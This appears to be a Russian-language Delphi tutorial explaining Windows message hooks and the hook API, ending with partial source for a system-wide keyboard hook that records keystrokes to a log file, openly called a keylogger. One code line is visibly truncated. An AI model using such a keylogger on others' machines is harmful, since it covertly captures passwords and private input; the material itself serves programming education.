Хуки в Windows. Часть первая. Основы

Этой статьёй я начинаю цикл статей про механизм ловушек оконных сообщений, а на жаргоне программистов механизм хуков, в операционных системах Windows. Тема про хуки является популярной на многих форумах программистов. Материал этих статей рассчитан на начинающего пользователя, примеры будут на Delphi. В этой статье будут изложены основные принципы механизма хуков, и будет написан пример клавиатурного шпиона.

   Итак, приступим, что же такое механизм хуков в Windows? В операционной системе Windows хуком называется механизм перехвата особой функцией событий (таких как сообщения, ввод с мыши или клавиатуры) до того, как они дойдут до приложения. Эта функция может затем реагировать на события и, в некоторых случаях, изменять или отменять их. Функции, получающие уведомления о событиях, называются фильтрующими функциями и различаются по типам перехватываемых ими событий. Пример - фильтрующая функция для перехвата всех событий мыши или клавиатуры. Если к одному хуку прикреплено несколько фильтрующих функций, Windows реализует очередь функций, причем функция, прикрепленная последней, оказывается в начале очереди, а самая первая функция - в ее конце.

   Когда к хуку прикреплена одна или более функций-фильтров и происходит событие, приводящее к срабатыванию хука, Windows вызывает только первую функцию из очереди функций-фильтров. Вызов каждого следующего обработчика полностью зависит от предыдущего обработчика. Если какой-либо обработчик не вызовет следующий, то целевому окну не придёт искомое сообщение, а следовательно и не будет вызвана его оконная функция.

   Хуки предоставляют мощные возможности для приложений Windows. Приложения могут использовать хуки в следующих целях:

   Работа с хуками осуществляется через функции SetWindowsHookEx, UnhookWindowsHookEx, вызов следующего обработчика осуществляется через функцию CallNextHookEx. До версии 3.1 Windows предоставляла для управления хуками функции SetWindowsHook, UnhookWindowsHook, и DefHookProc. Эти функции до сих пор реализованы в Win32, только лишь для совместимости со старыми приложениями, и использовать их в новых проектах не рекомендуется.

   Начнём сначала, для установки хука успользуется функция SetWindowsHookEx

HHOOK SetWindowsHookEx(
    int idHook,
    HOOKPROC lpfn,
    HINSTANCE hMod,
    DWORD dwThreadId
);

Первый параметр это числовая константа WH_* которая задаёт тип устанавливаемого хука. Второй параметр это адрес функции-фильтра. Третий параметр это хэндл модуля, содержащего фильтрующую функцию. Этот параметр должен быть равен нулю при установке хука на поток, но данное требование не является строго обязательным, как указано в документации. При установке хука для всей системы или для потока в другом процессе, нужно использовать хэндл DLL, содержащей функцию-фильтр. Четвёртый параметр это идентификатор потока, для которого устанавливается хук. Если он не равен нулю, то хук устанавливается только на указанный поток. Если идентификатор равен нулю, то хук устанавливается на всю систему. Некоторые хуки можно ставить как на всю систему, так и на некоторый поток, некоторые хуки можно поставить только на всю систему. Функция возвращает хендл хука, в случае неудачи функция возвратит ноль. Для снятия хука нужно использовать функцию UnhookWindowsHookEx, которая принимает в качестве единственного параметра хендл установленного хука.

   Теперь надо сделать небольшое лирическое отступление от данной темы, для лучшего понятия описываемого механизма. В 32-битных (а далее в 64-битных) операционных системах Windows каждый процесс в системе имеет своё собственное обособленное адресное пространство. Обратиться к чужому адресному пространству можно только через несколько API функций и имея определённые привилегии. Т.е. по одному и тому же адресу в разных процессах могут быть совершенно разные данные. Для того чтобы фильтрующая функция могла обработать сообщение, она должна находиться в памяти именно того процесса, которому принадлежит целевое окно и оконная функция. Итак, если хук устанавливается на всю систему, то фильтрующая функция должна быть загружена в каждый процесс, у которого есть хотя бы один цикл сообщений c использованием функций GetMessage или PeekMessage. Единственный стандартный способ загрузки нашего кода в чужой процесс, это использование DLL. Т.е. для нормального функционирования хуков установленных на всю систему необходимо использовать DLL.

   Едем, далее. Все фильтрующие функции должны быть описаны следующим образом:

LRESULT CALLBACK FilterFunc(int nCode, WPARAM wParam, LPARAM lParam)

Так написано в MSDN. Тип LRESULT это тот же integer, WPARAM и LPARAM это тоже integer. CALLBACK это тоже что и stdcall. Чтобы было понятнее, приведу наиболее правильное и логичное (по моему мнению) объявление на pascal:

Function FilterFunc(Code:integer; wParam, lParam:DWORD):DWORD; stdcall;

Это общий прототип функции для всех типов хуков. Параметры интерпретируются по-разному, в зависимости типа хука. Очень часто встречается одна и та же ошибка: объявление параметра wParam как WORD. Это грубая ошибка, которая приводит к непредсказуемым последствиям в работе хуков, так как тип WORD имеет размерность 16 бит, а DWORD 32 бита, в результате чего половина информации, передаваемая через этот параметр, теряется. Первый параметр во всех типах хуков интерпретируется в основном одинаково: если он меньше нуля, то надо сразу же вызвать следующую функцию через CallNextHookEx, и вернуть результат её вызова. Если код равен HC_ACTION, то можно обработать это сообщение. Впрочем, это только рекомендации и всё полностью зависит от самой функции и программиста, который её написал.

   Для вызова следующей функции в очереди хуков предназначена функция CallNextHookEx

LRESULT CallNextHookEx(
    HHOOK hhk,
    int nCode,
    WPARAM wParam,
    LPARAM lParam
);

Отличие от оконной функции лишь в первом параметре, который, кстати, в системах семейства Windows NT (Windows NT/XP/2003 и далее) игнорируется. Для того чтобы не передавать дальше обработку сообщения, достаточно просто не вызывать эту функцию в обработчике. В данном случае это сообщение просто блокируется и не приходит адресату.

   Итак, основные сведения о хуках мы получили. Теперь надо приступить к практике. Наиболее часто встречающийся проблемы поднимаемые на форумах программистов, связанный с хуками, это проблемы с написанием клавиатурных шпионов. Именно клавиатурный шпион мы сейчас и напишем.

   Для создания клавиатурного хука нам надо указать код WH_KEYBOARD при вызове функции SetWindowsHookEx. Windows вызывает обработчики хка когда функции GetMessage или PeekMessage собираются вернуть сообщения WM_KEYUP, WM_KEYDOWN.
Параметр Code может быть равен следующим значениям

   Параметр wParam в обработчике хука WH_KEYBOARD содержит виртуальный код клавиши (например, VK_F1, VK_RETURN, VK_LEFT). Параметр lParam расшифровывается следующим образом.

   Как мы будем сохранять введённый текст? Разумеется, самый простой способ это сохранение в файл перехваченного кода нажатой клавиши это сохранение в файл сразу же в функции фильтре. Но операции файлового ввода/вывода это операции не слишком быстрые и это приводит к общему уменьшению производительности системы при вводе какого-либо текста (впрочем, на новых машинах это вряд ли можно заметить). Поэтому мы заведём специальное окно-сервер, которому будем отправлять коды нажатых клавиш, это окно будет получать коды нажатых клавиш и сохранять в своём буфере, и скидывать буфер в файл, когда он будет достигать некоторого размера.

   Создание и снятие хука, я думаю, особых проблем не составляет, поэтому сразу приступлю к самому обработчику хука.

function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ServerWnd: THandle;
  ScanCode:integer;
begin
  if CODE = HC_ACTION then
   if ((LParam or (1 shl 30))=LParam) then
    begin
     ServerWnd:=FindWindow(nil,'Simple keylogger ');
     GetKeyboardState(KeybrdState);
     ScanCode:=(LParam shr 16)and $FF;
     if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
      PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
                                                         else
      PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
    end;
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;

   Основная проблема в при написании клавиатурных хуков заключается в том что обработчику хука передаётся только скан код нажатой клавиши и её виртуальный код. Виртуальный код и скан код говорят нам, какая именно клавиша была нажата, но не говорят, что именно было введено. Поясню, даже если мы вводим русский текст, то клавиатурному хуку будут передаваться коды английских клавиш, т.е. мы вводим слово "привет", а обработчику хука будет передано "GHBDTN". Или, например, мы нажимаем на Shift цифру 7 и вводится знак &, но в клавиатурный хук будт передан только код цифры 7. Для того чтобы преобразовать скан код и виртуальный код в текстовый символ, который был введён, необходимо использовать функцию ToAscii (или ToUnicode).
Её параметры:

int ToAscii(
    UINT uVirtKey,
    UINT uScanCode,
    PBYTE lpKeyState,
    LPWORD lpChar,
    UINT uFlags
);

Первый параметр это виртуальный код, второй это скан код, третий параметр это указатель на массив в котором сохранено состояние клавиатуры, четвёртый это указатель на переменную, в которую будет сохранён символ, пятый параметр это флаг, определяющий, является ли меню активным. Этот параметр должен быть 1, если меню активно, или иначе 0. Функция возвращает количество символов, полученных в результате преобразования. Состояние клавиатуры можно получить через функцию GetKeyboardState.

   Вернёмся в нашей фильтрующей функции.

ServerWnd:=FindWindow(nil,'Simple keylogger ');
GetKeyboardState(KeybrdState);
ScanCode:=(LParam shr 16)and $FF;
if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
 PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
                                                else
 PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);

Сначала мы получаем состояние клавиатуры, потом получаем скан код из параметры LParam и вызываем функцию ToAscii. Если её результат не равен нулю, т.е. если её результат не пустой, то отправляем cсообщение окну-серверу с заголовком "Simple keylogger " (цифры в заголовке нужны только лишь для его уникальности). Сообщение WM_KEYEVENT мы объявили сами

WM_KEYEVENT=WM_USER+1

   А вот собственно и сам обработчик сообщения WM_KEYEVENT

procedure TMainForm.KeyMessageHandler(var Msg: TMessage);
var
  KeyName:array[0..99] of char;
  _MSG:TMsg;
begin
  GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName));
  BufferWrite('13) then
   begin
    BufferWrite(',');
    KeyName[0]:=chr(Msg.WParamLo);
    KeyName[1]:=#0;
    BufferWrite(KeyName);
   end;
  BufferWrite('>');
  inc(Counter);
  if Counter>MaxSimbolGroup then
   begin
    BufferWrite(NewLine);
    WriteTime;
    BufferWrite(NewLine);
    Counter:=0;
   end;
end;

Для получения текстовой расшифровки нажатой клавиши по её скан коду мы воспользовались функцией GetKeyNameText. Полный текст DLL и приложения находится в архиве прилагающемуся к этой статье.

   Если посмотреть получившийся лог, то мы увидим следующий текст в формате <название клавиши, введённый текст>.

   Вот и подошёл конец первой статьи про хуки. Качаем, смотрим исходник исследуем, учимся.